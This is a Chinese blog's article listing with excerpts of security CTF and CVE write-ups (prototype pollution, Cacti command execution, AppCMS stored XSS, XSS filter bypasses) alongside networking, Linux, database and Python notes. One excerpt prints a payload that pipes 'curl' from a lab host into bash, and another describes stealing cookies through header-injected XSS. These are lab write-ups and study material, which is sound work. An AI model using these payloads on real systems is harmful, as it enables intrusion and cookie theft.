- 博客(30)
- 收藏
- 关注
原创 应急响应复现
1.用户信息 /etc/passwd |grep /bin/bash,主要看可以登录终端的用户,其他nologin不用看。 登录日志记录:/var/log/secure ubuntu下是/var/log/auth.log。 登录失败记录:/var/log/btmp //lastb 二进制文件,不能直接查看。 目前登录用户信息:/var/run/utmp //w、who、users。 最后一次登录:/var/log/lastlog //lastlog。”为名的文件夹具有隐藏属性。
2025-08-07 23:33:11
672
原创 应急响应思路总结
当我们需要开机启动自己的脚本时,只需要将可执行脚本丢在 /etc/init.d 目录下,然后在 /etc/rc.d/rc*.d 文件中建立软链接即可。 目前登录用户信息:/var/run/utmp //w、who、users。 目前登录用户信息:/var/run/utmp //w、who、users。 最后一次登录:/var/log/lastlog //lastlog。 登录成功记录: /var/log/wtmp //last。1.检查/tmp目录下的文件,以“…
2025-08-06 21:57:40
707
原创 cacti的命令执行和回显
对传入的local_data_ids数组里面的值进行循环,传入了一个[0]=6,也就是此时local_data_id=6,再次判断是否有效。在数据库中查看下这个表,有6组数据,其中只有 local_data_id = 6 的action = 2,其他都为1。由结果可以看出,传入script_server.php的参数是执行后的结果,那么执行自然是在这之前,也就是。通常,这可能会返回 PHP 的可执行文件的路径,如。就是判断这个数组里面是否有传入的值,有就返回数组里的,没有就返回GET传入的。
2025-07-26 23:05:44
454
原创 Appcms存储型XSS
本文分析了AppCMS 2.0.101版本中的存储型XSS。通过审查评论区功能,发现虽然内容输入框过滤了<>标签,但IP获取函数通过X_FORWARDED_FOR头获取且未充分过滤,成为注入点。由于IP字段长度限制20位,作者创新性地分两次提交评论:第一次提交闭合标签和注释符,第二次提交标签开头和payload,最终拼接成完整XSS代码。测试中成功执行alert(1)并验证了利用XSS Hunter接收cookie的可行性。
2025-07-20 01:02:23
775
原创 网鼎杯2020青龙组--notes
放到代码中会被再添加后缀,this.note_list.__proto__.aaa.author = curl 192.168.239.130/shell.txt|bash。关注在commands,它的值被命令执行,所以如果可以给commands增加一个属性,这个属性的值是payload,那么最终会被执行。下载题目给的源码,放到ubuntu下,直接用Trae CN来配置环境并运行,自动生成了前端模板。可以看出添加属性时,忽略了f,直接a.e=123,那前面的疑问就有答案了。再看怎么增加,使用了for…
2025-07-20 00:59:14
679
原创 GYCTF2020--Ez_Express
后面使用了toUpperCase()函数,将所有用户名全部转大写,找下有没有不是admin转大写后是ADMIN。目标是实现RCE,这道题没有用lodash.temlate,那就剩下ejs模板引擎了。那么现在问题转化了,要进行污染,必须登录admin,那就要绕过admin限制。出现clone和merge,大概率原型链污染,但是污染什么还需进一步分析。进入环境,一个登录注册框,试下弱口令,不行,先注册看下。成功污染,还需访问info页面看下回显结果。这道题有提示,直接下载源码审计。没问题,拿到flag。
2025-07-20 00:57:14
132
原创 Code-Breaking 2018 Thejs 分析
let compiled = lodash.template(content) // 使用 lodash 处理模板let rendered = compiled({ ...options }) // 渲染模板并传入变量})})实现了基于的简易版 EJS 模板引擎(EJS 文件其实是 lodash 语法)。这段代码实现了时如何处理.ejs文件。app.set('views', './views') // 视图文件夹路径。
2025-07-20 00:51:26
591
原创 原型链污染和hackit
*注意:**使用requests的session会话对象来进行处理,会话对象让你能够跨请求保持某些参数,它也会在同一个Session实例发出的所有请求之间保持cookie,所以如果你向同一主机发送多个请求,底层的TCP连接将会被重用,从而带来显著的性能提升。原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。对象用于获取URL查询字符串中的参数。
2025-07-20 00:49:08
849
原创 XSS Game
该文章展示了多个XSS漏洞利用案例,通过不同方式绕过输入过滤: Ma Spaghet:直接注入恶意脚本 Jefff:闭合eval语句执行代码 Ugandan Knuckles:利用input事件属性触发 Ricardo Milos:使用JavaScript伪协议 Ah That's Hawt:HTML实体编码绕过过滤 Ligma:使用JSFuck编码执行 Mafia:通过进制转换/大小写绕过 Ok, Boomer:利用DOM破坏绕过DOMPurify过滤 每个案例都提供了具体的payload和绕过思路,展示
2025-07-20 00:46:21
883
原创 DNS简单总结
本地DNS服务器----.根域名服务器----com.顶级域名服务器----baidu.com.次级域名服务器----ns3.baidu.com.----如果你连接的是电信、移动或者联通的网络,那么本地域名解析服务器就在本地区,由各自的运营商来提供服务。比如你连接的校园网,那么域名解析系统就在你的校园机房里; 检查浏览器缓存中是否缓存过该域名对应的IP地址。 向本地域名解析服务系统发起域名解析的请求。
2025-07-15 12:14:03
294
原创 XSS基础知识
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。特征:恶意脚本通过URL参数传递,服务器未存储直接返回给用户浏览器,需诱导用户主动点击恶意链接。攻击场景:搜索框、错误提示页等动态生成内容的场景。危害:常用于窃取用户会话Cookie或发起钓鱼攻击。特征:恶意脚本被永久存储在服务器(如数据库、文件系统),用户访问包含该内容的页面时触发。攻击场景:常见于论坛评论、用户资料、商品详情页等可存储用户输入的模块。
2025-07-15 11:01:07
1021
原创 ECDHE密钥协商算法
摘要: RSA密钥协商算法存在前向保密缺陷,一旦私钥泄露,历史通讯可能被破解。DH算法通过双方的公私钥计算共享密钥解决该问题,但效率较低。现代TLS广泛采用ECDHE算法,结合椭圆曲线密码学提升效率。ECDHE流程包括双方生成随机私钥、交换公钥、计算共享点(x,y),最终会话密钥由客户端随机数、服务端随机数和共享点x坐标生成。相比RSA,ECDHE支持前向保密,且允许在TLS握手早期就开始加密通信。两者的核心区别在于密钥生成材料:RSA依赖三个随机数,而ECDHE使用两个随机数加椭圆曲线计算的共享秘密。
2025-07-15 10:55:11
873
原创 MySQL数据库试题及答案
数据库试题:现有一个关系:借阅(书号,书名,库存数,读者号,借期,还期)假如同一本书允许一个读者多次借阅,但不能同日对同一本书借多本,则该关系模式的主键是().在第一次启动时,mysql_install_db脚本初始化MySQL系统,这个脚本创建()个数据库。.要在Oracle中定义SQL查询,下列哪个数据库对象不能直接从select语句中引用()2)根据上述记录内容,请写出插入t_test表的SQL语句(一条即可).SQL语言引入了视图的概念,下列说法正确的是().下面哪个SQL语法是错误的()
2020-06-06 00:29:58
561
原创 数据库查询练习例题及答案
数据库查询练习例题及答案Student表的定义字段名字段描述数据类型主键外键非空唯一自增Id学号INT(10)是否是是是Name姓名VARCHAR(20)否否是否否Sex性别VARCHAR(4)否否否否否Birth出生年份YEAR否否否否否Department院系VARCHAR(20)否否是否否Address家庭住址VARCHAR(50)否否否否否Sco
2020-06-05 00:23:04
10644
1
原创 TCP知识点总结
TCP知识点总结TCP报头源端口和目的端口,各占2个字节,分别写入源端口和目的端口;序号,占4个字节,TCP连接中传送的字节流中的每个字节都按顺序编号。例如,一段报文的序号字段值是 301 ,而携带的数据共有100字段,显1然下一个报文段(如果还有的话)的数据序号应该从401开始;确认号,占4个字节,是期望收到对方下一个报文的第一个数据字节的序号。例如,B收到了A发送过来的报文,其序列号字段是501,而数据长度是200字节,这表明B正确的收到了A发送的到序号700为止的数据。因此,B期望收到A的下
2020-05-31 22:48:09
441
原创 Linux知识点总结
Linux知识点总结linux系统启动过程开机-----BIOS自检-----系统引导------内核映像------初始化系统BIOS自检:按照BIOS设置的启动设备(通常是硬盘)来启动,检测计算机的硬件设备系统引导:加载主引导加载程序(MBR),加载次引导加载程序(GRUB) MBR:512字节大小的映像,任务就是查找并加载保存在硬盘分区上的此引导加载程序,他通 过分区表查找活动分区,然后将活动分区的次引导加载程序从设备读入内存并运行。 GRUB:也称内
2020-05-31 00:22:17
515
原创 LINUX常用命令注解
LINUX常用命令常见目录及作用/root:root用户的主目录/home:普通用户的主目录/etc:配置文件/bin:可执行文件/var:可变目录,用以存放经常变化的文件,如日志文件/dev:设备文件,任何设备与接口设备都是以文件形式存在于此目录常用命令1.系统维护类ls、pwd、cd、date、passwd、man、who、last、psls:用于显示指定工作目录下的内容pwd:当前工作目录cd:切换当前工作目录date:用来显示或设定系统日期和时间passwd:用来更改密
2020-05-28 16:23:07
592
原创 RIP和OSPF知识点总结
RIPRIP是DV距离矢量型路由协议,分为三个版本RIPV1,V2(在IPV4中使用),RIPNG(在IPV6中使用)RIPV1:有类别(不携带掩码)RIPV2:无类别(携带掩码)RIP是通过邻居间共享路由表实现路由信息的交互,是一种传闻性协议,更新量小LS链路状态型路由协议,通过邻居间共享LSA链路状态通告实现交互,主要共享拓扑信息,更新量大,但防环能力更强些。RIP数据包封装基于UDP,端口号520(RIPNG 521),周期更新时间30s;RIP支持触发更新,且默认开启RIP携带路由信息
2020-05-25 18:12:15
1309
原创 路由器与交换机细化知识点
路由器与交换机路由器路由器为3层设备;工作原理:当数据包进入路由器时,路由器先查看数据包中的目标MAC地址 目标MAC为 1. 广播 解封装到3层 2.组播 每一个组播地址均存在自己的MAC地址;基于目标MAC就可以判断本地 是否需要解封装;若本地加入了该组将解包,否则丢弃 3.单播 目标MAC为路由器接收到该流量的接口MAC地址,则进行解封装 目标MAC不是本
2020-05-20 21:16:33
586
原创 OSPF协议基础详解
OSPF——开放式最短路径优先使用范围:IGP协议算法特点:链路状态型路由协议,SPF算法协议是否传递网路掩码:传递网路掩码协议封装:基于IP协议封装,协议号为89一、OSPF特点1.OSPF是一种典型的链路状态型路由协议2.传递路由信息称作LSA,LSA链路状态通告,包含路由信息和拓扑信息 路由LSA:描述本路由器上接口的路由信息 拓扑LSA:描述路由器之间的链接状态3...
2020-03-31 23:14:25
2317
原创 动态路由协议及RIP协议
动态路由协议各台路由器上运行相同的协议,这些协议会让设备间进行沟通,学习来获取未知的路由条目信息,最终实行全网可达。动态路由协议的障碍:1.安全2.选路不佳——最严重出现环路3.对硬件资源的占用动态路由协议的优点:1.配置管理方便2.针对拓扑变化自动重新收敛3.适用于较大复杂的网络环境动态路由协议的追求:1.占用资源少2.选择路径佳3.收敛速度快——信息同一时间全网同...
2020-03-31 19:07:28
725
原创 NA内容回顾
NA内容复习TCP/IP 和 OSI 模型OSI 模型 (参考,学习)应用层: 将抽象语言(文字,声音,图像)转换为编码表示层: 编码转换为二进制,编码、解码、加密、解密会话层: 在两个节点间建立端链接,提供对话控制机制,建立、维持、终止会话进程传输层: 通过端口号区分上层不同服务,进行数据分段(MTU限制)网络层: 通过IP地址进行逻辑寻址数据链路层:LLC(逻辑链路控制层)为...
2020-03-21 20:36:39
452
原创 Python常见内置模块的使用(一)
1.什么是模块一个py或者一些py文件的总称,这些文件一般都是为某一特定的功能而写代码。2.模块的分类|-- 系统模块(Python官方提供的、内置的模块) | 内置模块 特点:已经安装在了系统中,builtins 默认被导入 |-- random |-- math |-- os |-- os.path |-- sys |-- time |-- date...
2020-03-06 17:04:45
389
原创 Python函数的基本概念
函数1.什么是函数函数就是功能、过程。具有特定功能的代码的集合,这段代码是用来解决一个问题,一类问题,给这段代码取个名字。和变量有些相似。2.定义函数规则:def ===> define function 定义函数函数的名称定义和变量的命名规则保持一致!def 函数名称([参数列表...]): #这里的参数为形参 # 函数体 # return 返回值3.函数...
2020-02-25 12:04:13
965
原创 Python字符串对象
字符串1.什么是字符串字符串就是一系列字符连在一起,在存储上有点类似字符数组。是Python的一种基本数据类型(str)。2.定义字符串定义字符串有四种方式:单引号,双引号,三引号,str()。1.单引号a = '字符串1'2.双引号b = "字符串2" )3.三引号c = """ 字符串3 ... 可以多行输入 ...
2020-02-25 10:21:11
396
原创 Python容器解析
Python四大容器一.列表(list)1、什么是列表: 列表是一种线性表,由大量的节点组成,每一个节点都可以存储数据 列表就可以存储大量的数据的容器2、Python中如何使用列表,定义列表 |-- 掉用系统的一个全局函数 list a = list() # 创建了一个空列表 a = list([n1, n2,… nn]) # 创建列表,并且赋值 |-- 可以利用...
2020-02-21 21:22:35
439
原创 Python程序控制流程
Python中的三大流程一.顺序结构程序代码 运行的顺序是从上到下,从左到右 比如代码: a = 10 b = 20 c = a + b print("a =", a) print("b =", b) print("c =", c)输出结果:二.选择结构选择结构又叫分支结构,其中分为单分支,双分支,三(多)分支。特别注意:条件运算的结果必须b...
2020-02-21 20:27:35
737
原创 Python变量和常见运算符
变量1.什么是变量 用一个合法的标识符代表一个变量,通常其值是可以改变的。程序中用于临时存储数据的容器。2.变量的定义变量类型 变量名称 = 变量值; #java c c++ c# 强数据类型语言,在定义的时候,就确定下来要存储什么数据变量名称 = 变量值 #Python属于弱数据类型语言如:a = 10b = 3.1415c = Trued = "abc...
2020-02-18 20:28:39
243
原创 Python的环境搭建
Python的环境分为:1.运行环境需要去官方下载cpython解释器:官方网站:http://www.python.org ftp 官方下载地址:http://www.python.org/ftp/python 安装过程:以3.6.1版本为例: 1.双击安装包,出现如下的开始安装界面,选择自定义安装选项: ![在这里插入图片描述](https://img-blog.csd...
2020-02-18 18:57:37
221
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人
RSS订阅